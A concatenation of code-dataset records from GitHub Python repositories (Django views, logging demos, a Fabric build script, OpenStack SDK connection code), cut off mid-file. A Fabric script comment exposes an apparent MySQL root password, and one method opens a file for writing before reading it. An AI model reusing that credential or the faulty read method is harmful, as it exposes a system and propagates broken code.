{"api_name": "django.contrib.flatpages.models.FlatPage", "line_number": 107, "usage_type": "argument"}, {"api_name": "django.http.Http404", "line_number": 109, "usage_type": "name"}, {"api_name": "django.conf.settings.APPEND_SLASH", "line_number": 110, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 110, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 112, "usage_type": "call"}, {"api_name": "django.contrib.flatpages.models.FlatPage", "line_number": 112, "usage_type": "argument"}, {"api_name": "django.http.HttpResponsePermanentRedirect", "line_number": 114, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.redirect_to_login", "line_number": 128, "usage_type": "call"}, {"api_name": "django.template.loader.select_template", "line_number": 130, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 130, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 132, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 132, "usage_type": "name"}, {"api_name": "django.utils.safestring.mark_safe", "line_number": 137, "usage_type": "call"}, {"api_name": "django.template.Template", "line_number": 141, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 141, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 143, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 146, "usage_type": "call"}, {"api_name": "django.core.xheaders.populate_xheaders", "line_number": 147, "usage_type": "call"}, {"api_name": "django.contrib.flatpages.models.FlatPage", "line_number": 147, "usage_type": "argument"}, {"api_name": "django.views.decorators.csrf.csrf_protect", "line_number": 119, "usage_type": "name"}]} {"seq_id": "73085641182", "text": "#\n# ChangeList maintains a list of files for a run.\n#\n# During the run, the scanner calls records_x methods.\n# At the end of the run, it saves both a json and text result file.\n#\n\nimport os\nimport json\nfrom loguru import logger\nfrom typing import Dict\n\nfrom cache import PageCache\n\nclass ChangeList:\n \"\"\" maintains a list of files for a run \"\"\"\n\n def __init__(self, cache: PageCache):\n self.cache = cache\n new_date, old_date = self.cache.update_dates()\n self.new_date = new_date\n self.old_date = old_date\n\n self.items = []\n\n def record_failed(self, name: str, xurl: str, msg: str):\n\n status = \"FAILED\"\n logger.error(f\" {name}: {status}\")\n logger.error(f\" {name}: url={xurl} msg={msg}\")\n\n x = { \"name\": name, \"status\": status, \"url\": xurl, \"msg\": msg}\n self.items.append(x)\n\n def record_unchanged(self, name: str, xurl: str, msg: str = \"\"):\n\n status = \"unchanged\"\n logger.info(f\" {name}: {status}\")\n\n x = { \"name\": name, \"status\": status, \"url\": xurl, \"msg\": msg}\n self.items.append(x)\n\n def record_changed(self, name: str, xurl: str, msg: str = \"\"):\n\n status = \"CHANGED\"\n logger.warning(f\" {name}: {status}\")\n\n x = { \"name\": name, \"status\": status, \"url\": xurl, \"msg\": msg}\n self.items.append(x)\n\n def record_needs_check(self, name: str, xurl: str, msg: str = \"\"):\n\n status = \"CHECK\"\n logger.warning(f\"{name}: {status}\")\n\n x = { \"name\": name, \"status\": status, \"url\": xurl, \"msg\": msg}\n self.items.append(x)\n\n def remove_output_files(self):\n for n in [\"change_list.txt\", \"change_list.json\", \"urls.txt\"]:\n fn = os.path.join(self.cache.work_dir, n)\n if os.path.exists(fn): os.remove(fn)\n\n def write_text(self):\n fn = os.path.join(self.cache.work_dir, \"change_list.txt\")\n \n flagged = []\n unchanged = []\n for x in self.items:\n name = x[\"name\"]\n status = x[\"status\"]\n\n if status == \"unchanged\":\n unchanged.append(x)\n else:\n flagged.append(x)\n\n with open(fn, \"w\") as f_changes:\n f_changes.write(f\"STATE CHANGE LIST\\n\\n\")\n f_changes.write(f\" current run\\t{self.new_date}\\n\")\n f_changes.write(f\" previous run\\t{self.old_date}\\n\")\n f_changes.write(f\"\\n\")\n\n f_changes.write(f\" flagged items\\t{len(flagged)}\\n\")\n f_changes.write(f\" unchanged items\\t{len(unchanged)}\\n\")\n f_changes.write(f\"\\n\")\n\n f_changes.write(\"====== ITEMS THAT NEED ATTENTION ======\\n\")\n for x in flagged:\n name, status, xurl, msg = x[\"name\"], x[\"status\"], x[\"url\"], x[\"msg\"] \n f_changes.write(f\"{name}\\t{status}\\t{xurl}\\t{msg}\\n\")\n f_changes.write(f\"\\n\\n\")\n\n f_changes.write(\"====== ITEMS HAVE NOT CHANGED ======\\n\")\n for x in unchanged:\n name, status, xurl, msg = x[\"name\"], x[\"status\"], x[\"url\"], x[\"msg\"]\n f_changes.write(f\"{name}\\t{status}\\t{xurl}\\t{msg}\\n\")\n\n def write_json(self):\n fn = os.path.join(self.cache.work_dir, \"change_list.json\")\n\n result = {}\n result[\"current_run\"] = self.new_date\n result[\"previous_run\"] = self.old_date\n result[\"items\"] = self.items\n\n with open(fn, \"w\") as f_changes:\n json.dump(result, f_changes, indent=2)\n\n def read_json(self):\n fn = os.path.join(self.cache.work_dir, \"change_list.json\")\n\n with open(fn, \"w\") as f_changes:\n result = json.load(f_changes)\n\n self.new_date = result[\"current_run\"]\n self.old_date = result[\"previous_run\"]\n self.items = result[\"items\"]\n\n def write_urls(self):\n fn = os.path.join(self.cache.work_dir, \"urls.txt\")\n with open(fn, \"w\") as furl:\n furl.write(\"Name\\tUrl\\n\")\n for x in self.items:\n name, xurl = x[\"name\"], x[\"url\"]\n furl.write(f\"{name}\\t{xurl}\\n\")\n\n def read_urls_as_dict(self) -> Dict:\n result = {}\n with open(os.path.join(self.cache.work_dir, \"urls.txt\")) as f:\n lines = f.readlines()\n for x in lines[1:]:\n name, xurl = x.split(\"\\t\")\n name = name.replace(\".html\", \"\")\n result[name] = xurl[:-1]\n return result\n\n", "repo_name": "COVID19Tracking/urlwatch-proxies", "sub_path": "change_list.py", "file_name": "change_list.py", "file_ext": "py", "file_size_in_byte": 4456, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cache.PageCache", "line_number": 18, "usage_type": "name"}, {"api_name": "loguru.logger.error", "line_number": 29, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 29, "usage_type": "name"}, {"api_name": "loguru.logger.error", "line_number": 30, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 30, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 38, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 38, "usage_type": "name"}, {"api_name": "loguru.logger.warning", "line_number": 46, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 46, "usage_type": "name"}, {"api_name": "loguru.logger.warning", "line_number": 54, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 54, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 128, "usage_type": "name"}]} {"seq_id": "45037082124", "text": "# 日志实例\n\n# 设置日志格式--->设置配置信息（名称，级别等信息）--->设置要输出各个级别message要显示的内容\n\nimport logging\n\n# 自定义记录格式\nLOG_FORMAT = \"%(asctime)s=====%(levelname)s+++++%(message)s\"\n\n# 设置输出的日志文件，设置输出什么级别的日志和日志的格式\n# 该函数只在程序第一次调用时生效\n# 文件内容保存到文件中，格式为自定义格式level设置的级别及该级别一上的才会打印\nlogging.basicConfig(filename=\"27_1.log\", filemode='a', level=logging.WARNING, format=LOG_FORMAT)\n\n# 上面输出乱码，要设置编码，需要在handlers中设置，参考002，003案例\n\n# 设置相应级别的日志，就是要输出显示的message内容\nlogging.debug(\"This is a debug log-日志记录.\")\nlogging.info(\"This is a info log-日志记录.\")\nlogging.warning(\"This is a warning log-日志记录.\")\nlogging.error(\"This is a error log-日志记录.\")\nlogging.critical(\"This is a critical log-日志记录.\")\n", "repo_name": "FelixZFB/Python_advanced_learning", "sub_path": "02_Python_advanced_grammar_supplement/003_logging日志记录/001_27_1_logging基本使用.py", "file_name": "001_27_1_logging基本使用.py", "file_ext": "py", "file_size_in_byte": 1017, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.basicConfig", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 13, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 19, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 21, "usage_type": "call"}, {"api_name": "logging.critical", "line_number": 22, "usage_type": "call"}]} {"seq_id": "2784783980", "text": "from django.shortcuts import render, redirect\nfrom django.views.decorators.http import require_http_methods\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login as login_user, logout as logout_user\nfrom app.decorators import login_required\n\n\n@require_http_methods([\"POST\", \"GET\"])\ndef login(request):\n if request.user.is_authenticated:\n return redirect('index')\n elif request.method == 'GET':\n return render(request, 'users/login.html')\n else:\n username = request.POST['username']\n user = authenticate(request, username=username, password=request.POST['password'])\n if user is not None:\n login_user(request, user)\n messages.success(request, \"Uživatel \" + username + \" úspěšně přihlášen.\")\n else:\n messages.error(request, \"Špatně zadané údaje.\")\n return redirect('index')\n\n\n@login_required\n@require_http_methods([\"POST\"])\ndef logout(request):\n messages.success(request, 'Úspěšné odhlášení.')\n logout_user(request)\n return redirect('index')\n", "repo_name": "cichna-405/home-network-navigation-webserver", "sub_path": "app/controllers/users.py", "file_name": "users.py", "file_ext": "py", "file_size_in_byte": 1093, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.shortcuts.redirect", "line_number": 11, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 13, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 16, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 18, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 19, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 19, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 21, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 21, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 22, "usage_type": "call"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 8, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 28, "usage_type": "name"}, {"api_name": "django.contrib.auth.logout", "line_number": 29, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 30, "usage_type": "call"}, {"api_name": "app.decorators.login_required", "line_number": 25, "usage_type": "name"}, {"api_name": "django.views.decorators.http.require_http_methods", "line_number": 26, "usage_type": "call"}]} {"seq_id": "71192680544", "text": "from fabric.operations import *\nfrom fabric.api import *\nfrom fabric.contrib.files import *\nfrom fabric.colors import *\nfrom fabric.context_managers import cd\n\nimport fabops.common\n\n_version = '0.4.2'\n_tarball = 'restund-%s.tar.gz' % _version\n_url = 'http://www.creytiv.com/pub/%s' % _tarball\n_tmp_dir = '/tmp/restund-%s' % _version\n_username = 'restund'\n\n_libre_version = '0.4.3'\n_libre_tarball = 're-%s.tar.gz' % _libre_version\n_libre_url = 'http://www.creytiv.com/pub/%s' % _libre_tarball\n_libre_tmp_dir = '/tmp/libre-%s' % _libre_version\n\n\n# sudo apt-get install python-software-properties\n# sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0xcbcb082a1bb943db\n# sudo add-apt-repository 'deb http://mirror.jmu.edu/pub/mariadb/repo/5.5/ubuntu precise main'\n#\n# sudo apt-get install mariadb-server\n#\n\n# mysql root password Q8Z93HW6ewU5zM9Cz7CGck7M72G3VBbG\n\n@task\ndef download():\n \"\"\"\n Download and extract the tarball\n \"\"\"\n with cd('/tmp'):\n if exists(_tarball):\n run('rm -f %s' % _tarball)\n run('wget %s' % _url)\n run('tar xf %s' % _tarball)\n\n if exists(_libre_tarball):\n run('rm -f %s' % _libre_tarball)\n run('wget %s' % _libre_url)\n run('tar xf %s' % _libre_tarball)\n\n\n@task\ndef build():\n \"\"\"\n run the make command for libre and restund\n \"\"\"\n if exists(_libre_tmp_dir):\n with cd(_libre_tmp_dir):\n run('make install')\n if exists(_tmp_dir):\n with cd(_tmp_dir):\n run('make')\n\n@task\ndef install(force=False):\n \"\"\"\n Install libre and then restund\n Download, extract, configure and install if the restund\n user does not already exist.\n\n Force install by calling as stun.install:true\n \"\"\"\n if not force and fabops.common.user_exists(_username):\n print('restund user already exists, skipping stun install')\n else:\n for p in ('build-essential', 'mariadb-server', 'libmariadbclient-dev'):\n fabops.common.install_package(p)\n\n download()\n build()\n if exists(_tmp_dir):\n sudo('useradd --system %s' % _username)\n with cd(_tmp_dir):\n sudo('make install')\n\n", "repo_name": "imclab/fabric-ops", "sub_path": "fabops/stun.py", "file_name": "stun.py", "file_ext": "py", "file_size_in_byte": 2210, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "fabric.context_managers.cd", "line_number": 35, "usage_type": "call"}, {"api_name": "fabric.context_managers.cd", "line_number": 53, "usage_type": "call"}, {"api_name": "fabric.context_managers.cd", "line_number": 56, "usage_type": "call"}, {"api_name": "fabops.common.common.user_exists", "line_number": 68, "usage_type": "call"}, {"api_name": "fabops.common.common", "line_number": 68, "usage_type": "attribute"}, {"api_name": "fabops.common", "line_number": 68, "usage_type": "name"}, {"api_name": "fabops.common.common.install_package", "line_number": 72, "usage_type": "call"}, {"api_name": "fabops.common.common", "line_number": 72, "usage_type": "attribute"}, {"api_name": "fabops.common", "line_number": 72, "usage_type": "name"}, {"api_name": "fabric.context_managers.cd", "line_number": 78, "usage_type": "call"}]} {"seq_id": "18330511869", "text": "import joblib\nimport pandas as pd\ndf = pd.read_csv(\"data.csv\", delimiter=\";\", warn_bad_lines=True, error_bad_lines=False)\ndf = df[[\"Текст\", \"стилистика коммента\"]]\ndf[\"стилистика коммента\"].replace({\n 'издевка': 'агрессия',\n 'оскорбление героев поста': 'агрессия',\n 'смайлы как законченная мысль': 'культурно',\n 'оскорбление участника дискуссии': 'агрессия',\n 'юмор/ирония': 'культурно',\n 'изображение': None,\n 'видео': None,\n 'ссылка на внешний ресурс': None,\n 'аудио': None,\n 'стикер': None,\n 'комментарий удален ': None,\n 'не определено': None\n}, inplace=True)\ndf = df[df[\"Текст\"].notnull() & df[\"стилистика коммента\"].notnull()]\njoblib.dump(df, \"pickles/df.pkl\")\n", "repo_name": "platonlukyanov/are-you-aggresive-api", "sub_path": "parsedata.py", "file_name": "parsedata.py", "file_ext": "py", "file_size_in_byte": 979, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 3, "usage_type": "call"}, {"api_name": "joblib.dump", "line_number": 20, "usage_type": "call"}]} {"seq_id": "71309414302", "text": "# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"\nThe :class:`~openstack.connection.Connection` class is the primary interface\nto the Python SDK. It maintains a context for a connection to a region of\na cloud provider. The :class:`~openstack.connection.Connection` has an\nattribute to access each OpenStack service.\n\nAt a minimum, the :class:`~openstack.connection.Connection` class needs to be\ncreated with a config or the parameters to build one.\n\nWhile the overall system is very flexible, there are four main use cases\nfor different ways to create a :class:`~openstack.connection.Connection`.\n\n* Using config settings and keyword arguments as described in\n :ref:`openstack-config`\n* Using only keyword arguments passed to the constructor ignoring config files\n and environment variables.\n* Using an existing authenticated `keystoneauth1.session.Session`, such as\n might exist inside of an OpenStack service operational context.\n* Using an existing :class:`~openstack.config.cloud_region.CloudRegion`.\n\nCreating the Connection\n-----------------------\n\nUsing config settings\n~~~~~~~~~~~~~~~~~~~~~\n\nFor users who want to create a :class:`~openstack.connection.Connection` making\nuse of named clouds in ``clouds.yaml`` files, ``OS_`` environment variables\nand python keyword arguments, the :func:`openstack.connect` factory function\nis the recommended way to go:\n\n.. code-block:: python\n\n import openstack\n\n conn = openstack.connect(cloud='example', region_name='earth1')\n\nIf the application in question is a command line application that should also\naccept command line arguments, an `argparse.Namespace` can be passed to\n:func:`openstack.connect` that will have relevant arguments added to it and\nthen subsequently consumed by the constructor:\n\n.. code-block:: python\n\n import argparse\n import openstack\n\n options = argparse.ArgumentParser(description='Awesome OpenStack App')\n conn = openstack.connect(options=options)\n\nUsing only keyword arguments\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nIf the application wants to avoid loading any settings from ``clouds.yaml`` or\nenvironment variables, use the :class:`~openstack.connection.Connection`\nconstructor directly. As long as the ``cloud`` argument is omitted or ``None``,\nthe :class:`~openstack.connection.Connection` constructor will not load\nsettings from files or the environment.\n\n.. note::\n\n This is a different default behavior than the :func:`~openstack.connect`\n factory function. In :func:`~openstack.connect` if ``cloud`` is omitted\n or ``None``, a default cloud will be loaded, defaulting to the ``envvars``\n cloud if it exists.\n\n.. code-block:: python\n\n from openstack import connection\n\n conn = connection.Connection(\n region_name='example-region',\n auth={\n 'auth_url': 'https://auth.example.com',\n 'username': 'amazing-user',\n 'password': 'super-secret-password',\n 'project_id': '33aa1afc-03fe-43b8-8201-4e0d3b4b8ab5',\n 'user_domain_id': '054abd68-9ad9-418b-96d3-3437bb376703'\n },\n compute_api_version='2',\n identity_interface='internal',\n )\n\nPer-service settings as needed by `keystoneauth1.adapter.Adapter` such as\n``api_version``, ``service_name``, and ``interface`` can be set, as seen\nabove, by prefixing them with the official ``service-type`` name of the\nservice. ``region_name`` is a setting for the entire\n:class:`~openstack.config.cloud_region.CloudRegion` and cannot be set per\nservice.\n\nFrom existing authenticated Session\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nFor applications that already have an authenticated Session, simply passing\nit to the :class:`~openstack.connection.Connection` constructor is all that\nis needed:\n\n.. code-block:: python\n\n from openstack import connection\n\n conn = connection.Connection(\n session=session,\n region_name='example-region',\n compute_api_version='2',\n identity_interface='internal',\n )\n\nFrom oslo.conf CONF object\n~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nFor applications that have an oslo.config ``CONF`` object that has been\npopulated with ``keystoneauth1.loading.register_adapter_conf_options`` in\ngroups named by the OpenStack service's project name, it is possible to\nconstruct a Connection with the ``CONF`` object and an authenticated Session.\n\n.. note::\n\n This is primarily intended for use by OpenStack services to talk amongst\n themselves.\n\n.. code-block:: python\n\n from keystoneauth1 import loading as ks_loading\n from oslo_config import cfg\n from openstack import connection\n\n CONF = cfg.CONF\n\n group = cfg.OptGroup('neutron')\n ks_loading.register_session_conf_options(CONF, group)\n ks_loading.register_auth_conf_options(CONF, group)\n ks_loading.register_adapter_conf_options(CONF, group)\n\n CONF()\n\n auth = ks_loading.load_auth_from_conf_options(CONF, 'neutron')\n sess = ks_loading.load_session_from_conf_options(CONF, 'neutron', auth=auth)\n\n conn = connection.Connection(\n session=sess,\n oslo_conf=CONF,\n )\n\nFrom existing CloudRegion\n~~~~~~~~~~~~~~~~~~~~~~~~~\n\nIf you already have an :class:`~openstack.config.cloud_region.CloudRegion`\nyou can pass it in instead:\n\n.. code-block:: python\n\n from openstack import connection\n import openstack.config\n\n config = openstack.config.get_cloud_region(\n cloud='example',\n region_name='earth',\n )\n conn = connection.Connection(config=config)\n\nUsing the Connection\n--------------------\n\nServices are accessed through an attribute named after the service's official\nservice-type.\n\nList\n~~~~\n\nAn iterator containing a list of all the projects is retrieved in this manner:\n\n.. code-block:: python\n\n projects = conn.identity.projects()\n\nFind or create\n~~~~~~~~~~~~~~\n\nIf you wanted to make sure you had a network named 'zuul', you would first\ntry to find it and if that fails, you would create it::\n\n network = conn.network.find_network(\"zuul\")\n if network is None:\n network = conn.network.create_network(name=\"zuul\")\n\nAdditional information about the services can be found in the\n:ref:`service-proxies` documentation.\n\"\"\"\nimport atexit\nimport concurrent.futures\nimport warnings\nimport weakref\n\ntry:\n # For python 3.8 and later\n import importlib.metadata as importlib_metadata\nexcept ImportError:\n # For everyone else\n import importlib_metadata # type: ignore\nimport keystoneauth1.exceptions\nimport requestsexceptions\n\nfrom openstack import _log\nfrom openstack import _services_mixin\nfrom openstack.cloud import _accelerator\nfrom openstack.cloud import _baremetal\nfrom openstack.cloud import _block_storage\nfrom openstack.cloud import _coe\nfrom openstack.cloud import _compute\nfrom openstack.cloud import _dns\nfrom openstack.cloud import _floating_ip\nfrom openstack.cloud import _identity\nfrom openstack.cloud import _image\nfrom openstack.cloud import _network\nfrom openstack.cloud import _network_common\nfrom openstack.cloud import _object_store\nfrom openstack.cloud import _orchestration\nfrom openstack.cloud import _security_group\nfrom openstack.cloud import _shared_file_system\nfrom openstack.cloud import openstackcloud as _cloud\nfrom openstack import config as _config\nfrom openstack.config import cloud_region\nfrom openstack import exceptions\nfrom openstack import service_description\n\n__all__ = [\n 'from_config',\n 'Connection',\n]\n\nif requestsexceptions.SubjectAltNameWarning:\n warnings.filterwarnings(\n 'ignore', category=requestsexceptions.SubjectAltNameWarning\n )\n\n_logger = _log.setup_logging('openstack')\n\n\ndef from_config(cloud=None, config=None, options=None, **kwargs):\n \"\"\"Create a Connection using openstack.config\n\n :param str cloud:\n Use the `cloud` configuration details when creating the Connection.\n :param openstack.config.cloud_region.CloudRegion config:\n An existing CloudRegion configuration. If no `config` is provided,\n `openstack.config.OpenStackConfig` will be called, and the provided\n `name` will be used in determining which cloud's configuration\n details will be used in creation of the `Connection` instance.\n :param argparse.Namespace options:\n Allows direct passing in of options to be added to the cloud config.\n This does not have to be an actual instance of argparse.Namespace,\n despite the naming of the\n `openstack.config.loader.OpenStackConfig.get_one` argument to which\n it is passed.\n\n :rtype: :class:`~openstack.connection.Connection`\n \"\"\"\n # TODO(mordred) Backwards compat while we transition\n cloud = kwargs.pop('cloud_name', cloud)\n config = kwargs.pop('cloud_config', config)\n if config is None:\n config = _config.OpenStackConfig().get_one(\n cloud=cloud, argparse=options, **kwargs\n )\n\n return Connection(config=config)\n\n\nclass Connection(\n _services_mixin.ServicesMixin,\n _cloud._OpenStackCloudMixin,\n _accelerator.AcceleratorCloudMixin,\n _baremetal.BaremetalCloudMixin,\n _block_storage.BlockStorageCloudMixin,\n _compute.ComputeCloudMixin,\n _coe.CoeCloudMixin,\n _dns.DnsCloudMixin,\n _floating_ip.FloatingIPCloudMixin,\n _identity.IdentityCloudMixin,\n _image.ImageCloudMixin,\n _network.NetworkCloudMixin,\n _network_common.NetworkCommonCloudMixin,\n _object_store.ObjectStoreCloudMixin,\n _orchestration.OrchestrationCloudMixin,\n _security_group.SecurityGroupCloudMixin,\n _shared_file_system.SharedFileSystemCloudMixin,\n):\n def __init__(\n self,\n cloud=None,\n config=None,\n session=None,\n app_name=None,\n app_version=None,\n extra_services=None,\n strict=False,\n use_direct_get=False,\n task_manager=None,\n rate_limit=None,\n oslo_conf=None,\n service_types=None,\n global_request_id=None,\n strict_proxies=False,\n pool_executor=None,\n **kwargs\n ):\n \"\"\"Create a connection to a cloud.\n\n A connection needs information about how to connect, how to\n authenticate and how to select the appropriate services to use.\n\n The recommended way to provide this information is by referencing\n a named cloud config from an existing `clouds.yaml` file. The cloud\n name ``envvars`` may be used to consume a cloud configured via ``OS_``\n environment variables.\n\n A pre-existing :class:`~openstack.config.cloud_region.CloudRegion`\n object can be passed in lieu of a cloud name, for cases where the user\n already has a fully formed CloudRegion and just wants to use it.\n\n Similarly, if for some reason the user already has a\n :class:`~keystoneauth1.session.Session` and wants to use it, it may be\n passed in.\n\n :param str cloud: Name of the cloud from config to use.\n :param config: CloudRegion object representing the config for the\n region of the cloud in question.\n :type config: :class:`~openstack.config.cloud_region.CloudRegion`\n :param session: A session object compatible with\n :class:`~keystoneauth1.session.Session`.\n :type session: :class:`~keystoneauth1.session.Session`\n :param str app_name: Name of the application to be added to User Agent.\n :param str app_version: Version of the application to be added to\n User Agent.\n :param extra_services: List of\n :class:`~openstack.service_description.ServiceDescription`\n objects describing services that openstacksdk otherwise does not\n know about.\n :param bool use_direct_get:\n For get methods, make specific REST calls for server-side\n filtering instead of making list calls and filtering client-side.\n Default false.\n :param task_manager:\n Ignored. Exists for backwards compat during transition. Rate limit\n parameters should be passed directly to the `rate_limit` parameter.\n :param rate_limit:\n Client-side rate limit, expressed in calls per second. The\n parameter can either be a single float, or it can be a dict with\n keys as service-type and values as floats expressing the calls\n per second for that service. Defaults to None, which means no\n rate-limiting is performed.\n :param oslo_conf: An oslo.config CONF object.\n :type oslo_conf: :class:`~oslo_config.cfg.ConfigOpts`\n An oslo.config ``CONF`` object that has been populated with\n ``keystoneauth1.loading.register_adapter_conf_options`` in\n groups named by the OpenStack service's project name.\n :param service_types:\n A list/set of service types this Connection should support. All\n other service types will be disabled (will error if used).\n **Currently only supported in conjunction with the ``oslo_conf``\n kwarg.**\n :param global_request_id: A Request-id to send with all interactions.\n :param strict_proxies:\n If True, check proxies on creation and raise\n ServiceDiscoveryException if the service is unavailable.\n :type strict_proxies: bool\n Throw an ``openstack.exceptions.ServiceDiscoveryException`` if the\n endpoint for a given service doesn't work. This is useful for\n OpenStack services using sdk to talk to other OpenStack services\n where it can be expected that the deployer config is correct and\n errors should be reported immediately.\n Default false.\n :param pool_executor:\n :type pool_executor: :class:`~futurist.Executor`\n A futurist ``Executor`` object to be used for concurrent background\n activities. Defaults to None in which case a ThreadPoolExecutor\n will be created if needed.\n :param kwargs: If a config is not provided, the rest of the parameters\n provided are assumed to be arguments to be passed to the\n CloudRegion constructor.\n \"\"\"\n self.config = config\n self._extra_services = {}\n self._strict_proxies = strict_proxies\n if extra_services:\n for service in extra_services:\n self._extra_services[service.service_type] = service\n\n if not self.config:\n if oslo_conf:\n self.config = cloud_region.from_conf(\n oslo_conf,\n session=session,\n app_name=app_name,\n app_version=app_version,\n service_types=service_types,\n )\n elif session:\n self.config = cloud_region.from_session(\n session=session,\n app_name=app_name,\n app_version=app_version,\n load_yaml_config=False,\n load_envvars=False,\n rate_limit=rate_limit,\n **kwargs\n )\n else:\n self.config = _config.get_cloud_region(\n cloud=cloud,\n app_name=app_name,\n app_version=app_version,\n load_yaml_config=cloud is not None,\n load_envvars=cloud is not None,\n rate_limit=rate_limit,\n **kwargs\n )\n\n self._session = None\n self._proxies = {}\n self.__pool_executor = pool_executor\n self._global_request_id = global_request_id\n self.use_direct_get = use_direct_get\n self.strict_mode = strict\n # Call the _*CloudMixin constructors while we work on\n # integrating things better.\n _cloud._OpenStackCloudMixin.__init__(self)\n _accelerator.AcceleratorCloudMixin.__init__(self)\n _baremetal.BaremetalCloudMixin.__init__(self)\n _block_storage.BlockStorageCloudMixin.__init__(self)\n _coe.CoeCloudMixin.__init__(self)\n _compute.ComputeCloudMixin.__init__(self)\n _dns.DnsCloudMixin.__init__(self)\n _floating_ip.FloatingIPCloudMixin.__init__(self)\n _identity.IdentityCloudMixin.__init__(self)\n _image.ImageCloudMixin.__init__(self)\n _network_common.NetworkCommonCloudMixin.__init__(self)\n _network.NetworkCloudMixin.__init__(self)\n _object_store.ObjectStoreCloudMixin.__init__(self)\n _orchestration.OrchestrationCloudMixin.__init__(self)\n _security_group.SecurityGroupCloudMixin.__init__(self)\n _shared_file_system.SharedFileSystemCloudMixin.__init__(self)\n\n # Allow vendors to provide hooks. They will normally only receive a\n # connection object and a responsible to register additional services\n vendor_hook = kwargs.get('vendor_hook')\n if not vendor_hook and 'vendor_hook' in self.config.config:\n # Get the one from profile\n vendor_hook = self.config.config.get('vendor_hook')\n if vendor_hook:\n try:\n # NOTE(gtema): no class name in the hook, plain module:function\n # Split string hook into module and function\n try:\n (package_name, function) = vendor_hook.rsplit(':')\n\n if package_name and function:\n ep = importlib_metadata.EntryPoint(\n name='vendor_hook',\n value=vendor_hook,\n group='vendor_hook',\n )\n hook = ep.load()\n hook(self)\n except ValueError:\n self.log.warning(\n 'Hook should be in the entrypoint '\n 'module:attribute format'\n )\n except (ImportError, TypeError, AttributeError) as e:\n self.log.warning(\n 'Configured hook %s cannot be executed: %s', vendor_hook, e\n )\n\n # Add additional metrics into the configuration according to the\n # selected connection. We don't want to deal with overall config in the\n # proxy, just pass required part.\n if (\n self.config._influxdb_config\n and 'additional_metric_tags' in self.config.config\n ):\n self.config._influxdb_config[\n 'additional_metric_tags'\n ] = self.config.config['additional_metric_tags']\n\n # Register cleanup steps\n atexit.register(self.close)\n\n @property\n def session(self):\n if not self._session:\n 